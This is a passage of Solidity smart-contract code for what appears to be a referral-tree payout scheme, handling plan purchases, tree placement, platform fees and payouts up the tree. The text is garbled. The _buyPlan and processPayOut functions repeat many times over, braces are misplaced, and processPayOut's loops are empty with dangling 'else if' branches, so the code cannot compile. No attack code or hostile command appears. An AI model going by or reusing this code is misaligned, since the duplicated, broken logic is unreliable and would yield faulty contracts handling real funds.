payIn._planIndex = _planIndex;
payIn._userId = _userId;
payIn._paidAmount = _paidAmount;
payIn.mainTree = mainTree;
require(processPayOut(payIn),"payout failed");
}
etherInPlan memory _temp2;
if(mainTree)
{
for(uint8 i=0;i<_temp.triggerSubTree.length;i++)
{
if(_temp.triggerSubTree[i])
{
_temp2 = etherInPlans[_networkId][false][_planIndex];
require(_buyPlan(_networkId,_planIndex,msg.sender, _userId, 0, 0,_temp2, _paidAmount, false), "sub tree call fail");
emit _subTreePlanEv(now,_networkId,_planIndex,_user,_userId,_referrerId,_parentId,_paidAmount);
}
}
}
if(_temp.triggerExternalContract) externalInterface(externalContract[_networkId]).processExternalMain(_networkId,_planIndex,_user,_userId,_referrerId,_parentId,_paidAmount,mainTree);
emit _buyPlanEv(now,_networkId,_planIndex,_userId,_referrerId,_parentId,_paidAmount);
return true;
}
event processTreeEv(uint128 levelExpiry,uint256 networkID,uint8 planIndex,address user,uint32 referrerId,uint32 parentId,uint256 userId,bool treeType);
function _buyPlan(uint256 _networkId,uint8 _planIndex, address payable _user,uint32 _userId, uint32 _referrerId, uint32 _parentId, etherInPlan memory _temp, uint256 _paidAmount, bool mainTree) internal returns(bool)
{
uint256 lastId = userInfos[_networkId][_planIndex][mainTree].length ;
{
if(_temp.autoPlaceInTree)
{
if(userInfos[_networkId][_planIndex][true][_parentId].childCount == _temp.maxChild) etherInPlans[_networkId][mainTree][_planIndex].nextBlankSlot++;
_parentId = etherInPlans[_networkId][mainTree][_planIndex].nextBlankSlot;
_referrerId = _parentId;
}
else
{
if(_parentId == 0 && userInfos[_networkId][_planIndex][true].length > 0 )
{
_parentId = findBlankSlot(_networkId,0,_referrerId,mainTree, _temp.maxChild);
}
else
{
require(userInfos[_networkId][_planIndex][true][_parentId].childCount < _temp.maxChild,"Invalid _parent Id");
}
}
_userId = processTree(_networkId,_planIndex,_user,_referrerId,_parentId,true);
}
if(lastId > 0 )
{
lastId--;
if(mainTree)require(payPlatformCharge(_networkId, _paidAmount), "fail deducting platform charge");
emit processPayOutEv(_networkId,_planIndex,_userId,_paidAmount,mainTree);
_paidAmount = _paidAmount - _paidAmount * platFormFeePercentage / 100000000;
payInput memory payIn;
payIn._networkId = _networkId;
payIn._planIndex = _planIndex;
payIn._userId = _userId;
payIn._paidAmount = _paidAmount;
payIn.mainTree = mainTree;
require(processPayOut(payIn),"payout failed");
}
etherInPlan memory _temp2;
if(mainTree)
{
for(uint8 i=0;i<_temp.triggerSubTree.length;i++)
{
if(_temp.triggerSubTree[i])
{
_temp2 = etherInPlans[_networkId][false][_planIndex];
require(_buyPlan(_networkId,_planIndex,msg.sender, _userId, 0, 0,_temp2, _paidAmount, false), "sub tree call fail");
emit _subTreePlanEv(now,_networkId,_planIndex,_user,_userId,_referrerId,_parentId,_paidAmount);
}
}
}
if(_temp.triggerExternalContract) externalInterface(externalContract[_networkId]).processExternalMain(_networkId,_planIndex,_user,_userId,_referrerId,_parentId,_paidAmount,mainTree);
emit _buyPlanEv(now,_networkId,_planIndex,_userId,_referrerId,_parentId,_paidAmount);
return true;
}
event processTreeEv(uint128 levelExpiry,uint256 networkID,uint8 planIndex,address user,uint32 referrerId,uint32 parentId,uint256 userId,bool treeType);
function _buyPlan(uint256 _networkId,uint8 _planIndex, address payable _user,uint32 _userId, uint32 _referrerId, uint32 _parentId, etherInPlan memory _temp, uint256 _paidAmount, bool mainTree) internal returns(bool)
{
uint256 lastId = userInfos[_networkId][_planIndex][mainTree].length ;
{
if(_temp.autoPlaceInTree)
{
if(userInfos[_networkId][_planIndex][true][_parentId].childCount == _temp.maxChild) etherInPlans[_networkId][mainTree][_planIndex].nextBlankSlot++;
_parentId = etherInPlans[_networkId][mainTree][_planIndex].nextBlankSlot;
_referrerId = _parentId;
}
else
{
if(_parentId == 0 && userInfos[_networkId][_planIndex][true].length > 0 )
{
_parentId = findBlankSlot(_networkId,0,_referrerId,mainTree, _temp.maxChild);
}
else
{
require(userInfos[_networkId][_planIndex][true][_parentId].childCount < _temp.maxChild,"Invalid _parent Id");
}
}
_userId = processTree(_networkId,_planIndex,_user,_referrerId,_parentId,true);
}
if(lastId > 0 )
{
lastId--;
if(mainTree)require(payPlatformCharge(_networkId, _paidAmount), "fail deducting platform charge");
emit processPayOutEv(_networkId,_planIndex,_userId,_paidAmount,mainTree);
_paidAmount = _paidAmount - _paidAmount * platFormFeePercentage / 100000000;
payInput memory payIn;
payIn._networkId = _networkId;
payIn._planIndex = _planIndex;
payIn._userId = _userId;
payIn._paidAmount = _paidAmount;
payIn.mainTree = mainTree;
require(processPayOut(payIn),"payout failed");
}
etherInPlan memory _temp2;
if(mainTree)
{
for(uint8 i=0;i<_temp.triggerSubTree.length;i++)
{
if(_temp.triggerSubTree[i])
{
_temp2 = etherInPlans[_networkId][false][_planIndex];
require(_buyPlan(_networkId,_planIndex,msg.sender, _userId, 0, 0,_temp2, _paidAmount, false), "sub tree call fail");
emit _subTreePlanEv(now,_networkId,_planIndex,_user,_userId,_referrerId,_parentId,_paidAmount);
}
}
}
if(_temp.triggerExternalContract) externalInterface(externalContract[_networkId]).processExternalMain(_networkId,_planIndex,_user,_userId,_referrerId,_parentId,_paidAmount,mainTree);
emit _buyPlanEv(now,_networkId,_planIndex,_userId,_referrerId,_parentId,_paidAmount);
return true;
}
event processTreeEv(uint128 levelExpiry,uint256 networkID,uint8 planIndex,address user,uint32 referrerId,uint32 parentId,uint256 userId,bool treeType);
function _buyPlan(uint256 _networkId,uint8 _planIndex, address payable _user,uint32 _userId, uint32 _referrerId, uint32 _parentId, etherInPlan memory _temp, uint256 _paidAmount, bool mainTree) internal returns(bool)
{
uint256 lastId = userInfos[_networkId][_planIndex][mainTree].length ;
{
if(_temp.autoPlaceInTree)
{
if(userInfos[_networkId][_planIndex][true][_parentId].childCount == _temp.maxChild) etherInPlans[_networkId][mainTree][_planIndex].nextBlankSlot++;
_parentId = etherInPlans[_networkId][mainTree][_planIndex].nextBlankSlot;
_referrerId = _parentId;
}
else
{
if(_parentId == 0 && userInfos[_networkId][_planIndex][true].length > 0 )
{
_parentId = findBlankSlot(_networkId,0,_referrerId,mainTree, _temp.maxChild);
}
else
{
require(userInfos[_networkId][_planIndex][true][_parentId].childCount < _temp.maxChild,"Invalid _parent Id");
}
}
_userId = processTree(_networkId,_planIndex,_user,_referrerId,_parentId,true);
}
if(lastId > 0 )
{
lastId--;
if(mainTree)require(payPlatformCharge(_networkId, _paidAmount), "fail deducting platform charge");
emit processPayOutEv(_networkId,_planIndex,_userId,_paidAmount,mainTree);
_paidAmount = _paidAmount - _paidAmount * platFormFeePercentage / 100000000;
payInput memory payIn;
payIn._networkId = _networkId;
payIn._planIndex = _planIndex;
payIn._userId = _userId;
payIn._paidAmount = _paidAmount;
payIn.mainTree = mainTree;
require(processPayOut(payIn),"payout failed");
}
etherInPlan memory _temp2;
if(mainTree)
{
for(uint8 i=0;i<_temp.triggerSubTree.length;i++)
{
if(_temp.triggerSubTree[i])
{
_temp2 = etherInPlans[_networkId][false][_planIndex];
require(_buyPlan(_networkId,_planIndex,msg.sender, _userId, 0, 0,_temp2, _paidAmount, false), "sub tree call fail");
emit _subTreePlanEv(now,_networkId,_planIndex,_user,_userId,_referrerId,_parentId,_paidAmount);
}
}
}
if(_temp.triggerExternalContract) externalInterface(externalContract[_networkId]).processExternalMain(_networkId,_planIndex,_user,_userId,_referrerId,_parentId,_paidAmount,mainTree);
emit _buyPlanEv(now,_networkId,_planIndex,_userId,_referrerId,_parentId,_paidAmount);
return true;
}
event processTreeEv(uint128 levelExpiry,uint256 networkID,uint8 planIndex,address user,uint32 referrerId,uint32 parentId,uint256 userId,bool treeType);
function _buyPlan(uint256 _networkId,uint8 _planIndex, address payable _user,uint32 _userId, uint32 _referrerId, uint32 _parentId, etherInPlan memory _temp, uint256 _paidAmount, bool mainTree) internal returns(bool)
{
uint256 lastId = userInfos[_networkId][_planIndex][mainTree].length ;
{
if(_temp.autoPlaceInTree)
{
if(userInfos[_networkId][_planIndex][true][_parentId].childCount == _temp.maxChild) etherInPlans[_networkId][mainTree][_planIndex].nextBlankSlot++;
_parentId = etherInPlans[_networkId][mainTree][_planIndex].nextBlankSlot;
_referrerId = _parentId;
}
else
{
if(_parentId == 0 && userInfos[_networkId][_planIndex][true].length > 0 )
{
_parentId = findBlankSlot(_networkId,0,_referrerId,mainTree, _temp.maxChild);
}
else
{
require(userInfos[_networkId][_planIndex][true][_parentId].childCount < _temp.maxChild,"Invalid _parent Id");
}
}
_userId = processTree(_networkId,_planIndex,_user,_referrerId,_parentId,true);
}
if(lastId > 0 )
{
lastId--;
if(mainTree)require(payPlatformCharge(_networkId, _paidAmount), "fail deducting platform charge");
emit processPayOutEv(_networkId,_planIndex,_userId,_paidAmount,mainTree);
_paidAmount = _paidAmount - _paidAmount * platFormFeePercentage / 100000000;
payInput memory payIn;
payIn._networkId = _networkId;
payIn._planIndex = _planIndex;
payIn._userId = _userId;
payIn._paidAmount = _paidAmount;
payIn.mainTree = mainTree;
require(processPayOut(payIn),"payout failed");
}
etherInPlan memory _temp2;
if(mainTree)
{
for(uint8 i=0;i<_temp.triggerSubTree.length;i++)
{
if(_temp.triggerSubTree[i])
{
_temp2 = etherInPlans[_networkId][false][_planIndex];
require(_buyPlan(_networkId,_planIndex,msg.sender, _userId, 0, 0,_temp2, _paidAmount, false), "sub tree call fail");
emit _subTreePlanEv(now,_networkId,_planIndex,_user,_userId,_referrerId,_parentId,_paidAmount);
}
}
}
if(_temp.triggerExternalContract) externalInterface(externalContract[_networkId]).processExternalMain(_networkId,_planIndex,_user,_userId,_referrerId,_parentId,_paidAmount,mainTree);
emit _buyPlanEv(now,_networkId,_planIndex,_userId,_referrerId,_parentId,_paidAmount);
return true;
}
event processTreeEv(uint128 levelExpiry,uint256 networkID,uint8 planIndex,address user,uint32 referrerId,uint32 parentId,uint256 userId,bool treeType);
function _buyPlan(uint256 _networkId,uint8 _planIndex, address payable _user,uint32 _userId, uint32 _referrerId, uint32 _parentId, etherInPlan memory _temp, uint256 _paidAmount, bool mainTree) internal returns(bool)
{
uint256 lastId = userInfos[_networkId][_planIndex][mainTree].length ;
{
if(_temp.autoPlaceInTree)
{
if(userInfos[_networkId][_planIndex][true][_parentId].childCount == _temp.maxChild) etherInPlans[_networkId][mainTree][_planIndex].nextBlankSlot++;
_parentId = etherInPlans[_networkId][mainTree][_planIndex].nextBlankSlot;
_referrerId = _parentId;
}
else
{
if(_parentId == 0 && userInfos[_networkId][_planIndex][true].length > 0 )
{
_parentId = findBlankSlot(_networkId,0,_referrerId,mainTree, _temp.maxChild);
}
else
{
require(userInfos[_networkId][_planIndex][true][_parentId].childCount < _temp.maxChild,"Invalid _parent Id");
}
}
_userId = processTree(_networkId,_planIndex,_user,_referrerId,_parentId,true);
}
if(lastId > 0 )
{
lastId--;
if(mainTree)require(payPlatformCharge(_networkId, _paidAmount), "fail deducting platform charge");
emit processPayOutEv(_networkId,_planIndex,_userId,_paidAmount,mainTree);
_paidAmount = _paidAmount - _paidAmount * platFormFeePercentage / 100000000;
payInput memory payIn;
payIn._networkId = _networkId;
payIn._planIndex = _planIndex;
payIn._userId = _userId;
payIn._paidAmount = _paidAmount;
payIn.mainTree = mainTree;
require(processPayOut(payIn),"payout failed");
}
etherInPlan memory _temp2;
if(mainTree)
{
for(uint8 i=0;i<_temp.triggerSubTree.length;i++)
{
if(_temp.triggerSubTree[i])
{
_temp2 = etherInPlans[_networkId][false][_planIndex];
require(_buyPlan(_networkId,_planIndex,msg.sender, _userId, 0, 0,_temp2, _paidAmount, false), "sub tree call fail");
emit _subTreePlanEv(now,_networkId,_planIndex,_user,_userId,_referrerId,_parentId,_paidAmount);
}
}
}
if(_temp.triggerExternalContract) externalInterface(externalContract[_networkId]).processExternalMain(_networkId,_planIndex,_user,_userId,_referrerId,_parentId,_paidAmount,mainTree);
emit _buyPlanEv(now,_networkId,_planIndex,_userId,_referrerId,_parentId,_paidAmount);
return true;
}
event processTreeEv(uint128 levelExpiry,uint256 networkID,uint8 planIndex,address user,uint32 referrerId,uint32 parentId,uint256 userId,bool treeType);
function _buyPlan(uint256 _networkId,uint8 _planIndex, address payable _user,uint32 _userId, uint32 _referrerId, uint32 _parentId, etherInPlan memory _temp, uint256 _paidAmount, bool mainTree) internal returns(bool)
{
uint256 lastId = userInfos[_networkId][_planIndex][mainTree].length ;
{
if(_temp.autoPlaceInTree)
{
if(userInfos[_networkId][_planIndex][true][_parentId].childCount == _temp.maxChild) etherInPlans[_networkId][mainTree][_planIndex].nextBlankSlot++;
_parentId = etherInPlans[_networkId][mainTree][_planIndex].nextBlankSlot;
_referrerId = _parentId;
}
else
{
if(_parentId == 0 && userInfos[_networkId][_planIndex][true].length > 0 )
{
_parentId = findBlankSlot(_networkId,0,_referrerId,mainTree, _temp.maxChild);
}
else
{
require(userInfos[_networkId][_planIndex][true][_parentId].childCount < _temp.maxChild,"Invalid _parent Id");
}
}
_userId = processTree(_networkId,_planIndex,_user,_referrerId,_parentId,true);
}
if(lastId > 0 )
{
lastId--;
if(mainTree)require(payPlatformCharge(_networkId, _paidAmount), "fail deducting platform charge");
emit processPayOutEv(_networkId,_planIndex,_userId,_paidAmount,mainTree);
_paidAmount = _paidAmount - _paidAmount * platFormFeePercentage / 100000000;
payInput memory payIn;
payIn._networkId = _networkId;
payIn._planIndex = _planIndex;
payIn._userId = _userId;
payIn._paidAmount = _paidAmount;
payIn.mainTree = mainTree;
require(processPayOut(payIn),"payout failed");
}
etherInPlan memory _temp2;
if(mainTree)
{
for(uint8 i=0;i<_temp.triggerSubTree.length;i++)
{
if(_temp.triggerSubTree[i])
{
_temp2 = etherInPlans[_networkId][false][_planIndex];
require(_buyPlan(_networkId,_planIndex,msg.sender, _userId, 0, 0,_temp2, _paidAmount, false), "sub tree call fail");
emit _subTreePlanEv(now,_networkId,_planIndex,_user,_userId,_referrerId,_parentId,_paidAmount);
}
}
}
if(_temp.triggerExternalContract) externalInterface(externalContract[_networkId]).processExternalMain(_networkId,_planIndex,_user,_userId,_referrerId,_parentId,_paidAmount,mainTree);
emit _buyPlanEv(now,_networkId,_planIndex,_userId,_referrerId,_parentId,_paidAmount);
return true;
}
event processTreeEv(uint128 levelExpiry,uint256 networkID,uint8 planIndex,address user,uint32 referrerId,uint32 parentId,uint256 userId,bool treeType);
function processTree(uint256 _networkId,uint8 _planIndex, address payable _user, uint32 _referrerId, uint32 _parentId, bool mainTree) internal returns(uint32)
{
userInfo memory temp;
temp.user = _user;
temp.parentId = _parentId;
temp.referrerId = _referrerId;
temp.levelExpiry = uint128(now + etherInPlans[_networkId][mainTree][_planIndex].planExpiry);
uint32 thisId;
userInfos[_networkId][_planIndex][mainTree].push(temp);
userInfos[_networkId][_planIndex][mainTree][_referrerId].referralCount++;
thisId = uint32(userInfos[_networkId][_planIndex][mainTree].length);
userInfos[_networkId][_planIndex][mainTree][_parentId].childIds.push(thisId);
userIndex[_networkId][_planIndex][mainTree][_user].push(thisId);
emit processTreeEv(temp.levelExpiry, _networkId, _planIndex, _user, _referrerId, _parentId,thisId, mainTree);
return thisId;
}
event processPayOutEv(uint256 _networkId,uint8 _planIndex,uint32 _userId, uint256 _paidAmount,bool mainTree);
function processPayOut(payInput memory payIn) internal returns (bool)
{
uint8 etheroutPlanId = etherInPlans[payIn._networkId][payIn.mainTree][payIn._planIndex].etheroutPlanId;
if(etherInPlans[payIn._networkId][payIn.mainTree][payIn._planIndex].maxChild == 0 ) payIn._planIndex = 0;
etherOutPlan memory temp;
temp = etherOutPlans[payIn._networkId][etheroutPlanId];
uint32 _userId2 = payIn._userId;
uint32 _userId1 = _userId2;
address payable thisUser;
uint256 thisAmount;
uint j;
for(uint8 k=0; k < temp.payoutType.length; k++)
{
thisAmount = payIn._paidAmount * temp.payoutPercentage[k] / 100000000;
if(temp.payoutType[k] == 0)
{
for(j=0;j<temp.payoutTo[k];j++)
{
}
thisUser = userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree][_userId1].user;
else if(temp.payoutType[k] == 1)
{
for(j=0;j<temp.payoutTo[k];j++)
{
}
thisUser = userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree][_userId2].user;
else if(temp.payoutType[k] == 2)
{
j = temp.payoutTo[k];
if ( temp.payoutTo[k] >= userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree].length ) j = 0;
thisUser = userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree][j].user;
}
else if(temp.payoutType[k] == 3)
{
j = 0;
if (payIn._userId >= temp.payoutTo[k] ) j = payIn._userId - temp.payoutTo[k];
thisUser = userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree][j].user;
}
payIn._planIndex = etheroutPlanId;
payIn._paidAmount = thisAmount;
require(stackTooDeepB(payIn,temp.payoutTo[k],thisUser,k ), "pool add on fail");
}
return true;
}
event depositedToPoolEv(uint256 timeNow, uint256 _networkId,uint8 _planIndex,uint256 Amount,uint256 poolIndex,bool mainTree);
function processPayOut(payInput memory payIn) internal returns (bool)
{
uint8 etheroutPlanId = etherInPlans[payIn._networkId][payIn.mainTree][payIn._planIndex].etheroutPlanId;
if(etherInPlans[payIn._networkId][payIn.mainTree][payIn._planIndex].maxChild == 0 ) payIn._planIndex = 0;
etherOutPlan memory temp;
temp = etherOutPlans[payIn._networkId][etheroutPlanId];
uint32 _userId2 = payIn._userId;
uint32 _userId1 = _userId2;
address payable thisUser;
uint256 thisAmount;
uint j;
for(uint8 k=0; k < temp.payoutType.length; k++)
{
thisAmount = payIn._paidAmount * temp.payoutPercentage[k] / 100000000;
if(temp.payoutType[k] == 0)
{
for(j=0;j<temp.payoutTo[k];j++)
{
}
thisUser = userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree][_userId1].user;
else if(temp.payoutType[k] == 1)
{
for(j=0;j<temp.payoutTo[k];j++)
{
}
thisUser = userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree][_userId2].user;
else if(temp.payoutType[k] == 2)
{
j = temp.payoutTo[k];
if ( temp.payoutTo[k] >= userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree].length ) j = 0;
thisUser = userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree][j].user;
}
else if(temp.payoutType[k] == 3)
{
j = 0;
if (payIn._userId >= temp.payoutTo[k] ) j = payIn._userId - temp.payoutTo[k];
thisUser = userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree][j].user;
}
payIn._planIndex = etheroutPlanId;
payIn._paidAmount = thisAmount;
require(stackTooDeepB(payIn,temp.payoutTo[k],thisUser,k ), "pool add on fail");
}
return true;
}
event depositedToPoolEv(uint256 timeNow, uint256 _networkId,uint8 _planIndex,uint256 Amount,uint256 poolIndex,bool mainTree);
function processPayOut(payInput memory payIn) internal returns (bool)
{
uint8 etheroutPlanId = etherInPlans[payIn._networkId][payIn.mainTree][payIn._planIndex].etheroutPlanId;
if(etherInPlans[payIn._networkId][payIn.mainTree][payIn._planIndex].maxChild == 0 ) payIn._planIndex = 0;
etherOutPlan memory temp;
temp = etherOutPlans[payIn._networkId][etheroutPlanId];
uint32 _userId2 = payIn._userId;
uint32 _userId1 = _userId2;
address payable thisUser;
uint256 thisAmount;
uint j;
for(uint8 k=0; k < temp.payoutType.length; k++)
{
thisAmount = payIn._paidAmount * temp.payoutPercentage[k] / 100000000;
if(temp.payoutType[k] == 0)
{
for(j=0;j<temp.payoutTo[k];j++)
{
}
thisUser = userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree][_userId1].user;
else if(temp.payoutType[k] == 1)
{
for(j=0;j<temp.payoutTo[k];j++)
{
}
thisUser = userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree][_userId2].user;
else if(temp.payoutType[k] == 2)
{
j = temp.payoutTo[k];
if ( temp.payoutTo[k] >= userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree].length ) j = 0;
thisUser = userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree][j].user;
}
else if(temp.payoutType[k] == 3)
{
j = 0;
if (payIn._userId >= temp.payoutTo[k] ) j = payIn._userId - temp.payoutTo[k];
thisUser = userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree][j].user;
}
payIn._planIndex = etheroutPlanId;
payIn._paidAmount = thisAmount;
require(stackTooDeepB(payIn,temp.payoutTo[k],thisUser,k ), "pool add on fail");
}
return true;
}
event depositedToPoolEv(uint256 timeNow, uint256 _networkId,uint8 _planIndex,uint256 Amount,uint256 poolIndex,bool mainTree);
function processPayOut(payInput memory payIn) internal returns (bool)
{
uint8 etheroutPlanId = etherInPlans[payIn._networkId][payIn.mainTree][payIn._planIndex].etheroutPlanId;
if(etherInPlans[payIn._networkId][payIn.mainTree][payIn._planIndex].maxChild == 0 ) payIn._planIndex = 0;
etherOutPlan memory temp;
temp = etherOutPlans[payIn._networkId][etheroutPlanId];
uint32 _userId2 = payIn._userId;
uint32 _userId1 = _userId2;
address payable thisUser;
uint256 thisAmount;
uint j;
for(uint8 k=0; k < temp.payoutType.length; k++)
{
thisAmount = payIn._paidAmount * temp.payoutPercentage[k] / 100000000;
if(temp.payoutType[k] == 0)
{
for(j=0;j<temp.payoutTo[k];j++)
{
}
thisUser = userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree][_userId1].user;
else if(temp.payoutType[k] == 1)
{
for(j=0;j<temp.payoutTo[k];j++)
{
}
thisUser = userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree][_userId2].user;
else if(temp.payoutType[k] == 2)
{
j = temp.payoutTo[k];
if ( temp.payoutTo[k] >= userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree].length ) j = 0;
thisUser = userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree][j].user;
}
else if(temp.payoutType[k] == 3)
{
j = 0;
if (payIn._userId >= temp.payoutTo[k] ) j = payIn._userId - temp.payoutTo[k];
thisUser = userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree][j].user;
}
payIn._planIndex = etheroutPlanId;
payIn._paidAmount = thisAmount;
require(stackTooDeepB(payIn,temp.payoutTo[k],thisUser,k ), "pool add on fail");
}
return true;
}
event depositedToPoolEv(uint256 timeNow, uint256 _networkId,uint8 _planIndex,uint256 Amount,uint256 poolIndex,bool mainTree);
}
function processPayOut(payInput memory payIn) internal returns (bool)
{
uint8 etheroutPlanId = etherInPlans[payIn._networkId][payIn.mainTree][payIn._planIndex].etheroutPlanId;
if(etherInPlans[payIn._networkId][payIn.mainTree][payIn._planIndex].maxChild == 0 ) payIn._planIndex = 0;
etherOutPlan memory temp;
temp = etherOutPlans[payIn._networkId][etheroutPlanId];
uint32 _userId2 = payIn._userId;
uint32 _userId1 = _userId2;
address payable thisUser;
uint256 thisAmount;
uint j;
for(uint8 k=0; k < temp.payoutType.length; k++)
{
thisAmount = payIn._paidAmount * temp.payoutPercentage[k] / 100000000;
if(temp.payoutType[k] == 0)
{
for(j=0;j<temp.payoutTo[k];j++)
{
}
thisUser = userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree][_userId1].user;
else if(temp.payoutType[k] == 1)
{
for(j=0;j<temp.payoutTo[k];j++)
{
}
thisUser = userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree][_userId2].user;
else if(temp.payoutType[k] == 2)
{
j = temp.payoutTo[k];
if ( temp.payoutTo[k] >= userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree].length ) j = 0;
thisUser = userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree][j].user;
}
else if(temp.payoutType[k] == 3)
{
j = 0;
if (payIn._userId >= temp.payoutTo[k] ) j = payIn._userId - temp.payoutTo[k];
thisUser = userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree][j].user;
}
payIn._planIndex = etheroutPlanId;
payIn._paidAmount = thisAmount;
require(stackTooDeepB(payIn,temp.payoutTo[k],thisUser,k ), "pool add on fail");
}
return true;
}
event depositedToPoolEv(uint256 timeNow, uint256 _networkId,uint8 _planIndex,uint256 Amount,uint256 poolIndex,bool mainTree);
function processPayOut(payInput memory payIn) internal returns (bool)
{
uint8 etheroutPlanId = etherInPlans[payIn._networkId][payIn.mainTree][payIn._planIndex].etheroutPlanId;
if(etherInPlans[payIn._networkId][payIn.mainTree][payIn._planIndex].maxChild == 0 ) payIn._planIndex = 0;
etherOutPlan memory temp;
temp = etherOutPlans[payIn._networkId][etheroutPlanId];
uint32 _userId2 = payIn._userId;
uint32 _userId1 = _userId2;
address payable thisUser;
uint256 thisAmount;
uint j;
for(uint8 k=0; k < temp.payoutType.length; k++)
{
thisAmount = payIn._paidAmount * temp.payoutPercentage[k] / 100000000;
if(temp.payoutType[k] == 0)
{
for(j=0;j<temp.payoutTo[k];j++)
{
}
thisUser = userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree][_userId1].user;
else if(temp.payoutType[k] == 1)
{
for(j=0;j<temp.payoutTo[k];j++)
{
}
thisUser = userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree][_userId2].user;
else if(temp.payoutType[k] == 2)
{
j = temp.payoutTo[k];
if ( temp.payoutTo[k] >= userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree].length ) j = 0;
thisUser = userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree][j].user;
}
else if(temp.payoutType[k] == 3)
{
j = 0;
if (payIn._userId >= temp.payoutTo[k] ) j = payIn._userId - temp.payoutTo[k];
thisUser = userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree][j].user;
}
payIn._planIndex = etheroutPlanId;
payIn._paidAmount = thisAmount;
require(stackTooDeepB(payIn,temp.payoutTo[k],thisUser,k ), "pool add on fail");
}
return true;
}
event depositedToPoolEv(uint256 timeNow, uint256 _networkId,uint8 _planIndex,uint256 Amount,uint256 poolIndex,bool mainTree);
}
function processPayOut(payInput memory payIn) internal returns (bool)
{
uint8 etheroutPlanId = etherInPlans[payIn._networkId][payIn.mainTree][payIn._planIndex].etheroutPlanId;
if(etherInPlans[payIn._networkId][payIn.mainTree][payIn._planIndex].maxChild == 0 ) payIn._planIndex = 0;
etherOutPlan memory temp;
temp = etherOutPlans[payIn._networkId][etheroutPlanId];
uint32 _userId2 = payIn._userId;
uint32 _userId1 = _userId2;
address payable thisUser;
uint256 thisAmount;
uint j;
for(uint8 k=0; k < temp.payoutType.length; k++)
{
thisAmount = payIn._paidAmount * temp.payoutPercentage[k] / 100000000;
if(temp.payoutType[k] == 0)
{
for(j=0;j<temp.payoutTo[k];j++)
{
}
thisUser = userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree][_userId1].user;
else if(temp.payoutType[k] == 1)
{
for(j=0;j<temp.payoutTo[k];j++)
{
}
thisUser = userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree][_userId2].user;
else if(temp.payoutType[k] == 2)
{
j = temp.payoutTo[k];
if ( temp.payoutTo[k] >= userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree].length ) j = 0;
thisUser = userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree][j].user;
}
else if(temp.payoutType[k] == 3)
{
j = 0;
if (payIn._userId >= temp.payoutTo[k] ) j = payIn._userId - temp.payoutTo[k];
thisUser = userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree][j].user;
}
payIn._planIndex = etheroutPlanId;
payIn._paidAmount = thisAmount;
require(stackTooDeepB(payIn,temp.payoutTo[k],thisUser,k ), "pool add on fail");
}
return true;
}
event depositedToPoolEv(uint256 timeNow, uint256 _networkId,uint8 _planIndex,uint256 Amount,uint256 poolIndex,bool mainTree);
function processPayOut(payInput memory payIn) internal returns (bool)
{
uint8 etheroutPlanId = etherInPlans[payIn._networkId][payIn.mainTree][payIn._planIndex].etheroutPlanId;
if(etherInPlans[payIn._networkId][payIn.mainTree][payIn._planIndex].maxChild == 0 ) payIn._planIndex = 0;
etherOutPlan memory temp;
temp = etherOutPlans[payIn._networkId][etheroutPlanId];
uint32 _userId2 = payIn._userId;
uint32 _userId1 = _userId2;
address payable thisUser;
uint256 thisAmount;
uint j;
for(uint8 k=0; k < temp.payoutType.length; k++)
{
thisAmount = payIn._paidAmount * temp.payoutPercentage[k] / 100000000;
if(temp.payoutType[k] == 0)
{
for(j=0;j<temp.payoutTo[k];j++)
{
}
thisUser = userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree][_userId1].user;
else if(temp.payoutType[k] == 1)
{
for(j=0;j<temp.payoutTo[k];j++)
{
}
thisUser = userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree][_userId2].user;
else if(temp.payoutType[k] == 2)
{
j = temp.payoutTo[k];
if ( temp.payoutTo[k] >= userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree].length ) j = 0;
thisUser = userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree][j].user;
}
else if(temp.payoutType[k] == 3)
{
j = 0;
if (payIn._userId >= temp.payoutTo[k] ) j = payIn._userId - temp.payoutTo[k];
thisUser = userInfos[payIn._networkId][payIn._planIndex][payIn.mainTree][j].user;
}
payIn._planIndex = etheroutPlanId;
payIn._paidAmount = thisAmount;
require(stackTooDeepB(payIn,temp.payoutTo[k],thisUser,k ), "pool add on fail");
}
return true;
}
event depositedToPoolEv(uint256 timeNow, uint256 _networkId,uint8 _planIndex,uint256 Amount,uint256 poolIndex,bool mainTree);
function stackTooDeepB(payInput memory payIn, uint256 poolIndex,address payable thisUser, uint8 k) internal returns(bool)
{
require(doTransaction(payIn._networkId, address(0), thisUser,payIn._paidAmount,payIn._planIndex,payIn.mainTree,payIn._userId), "amount tx fail");
if(k==4)
{
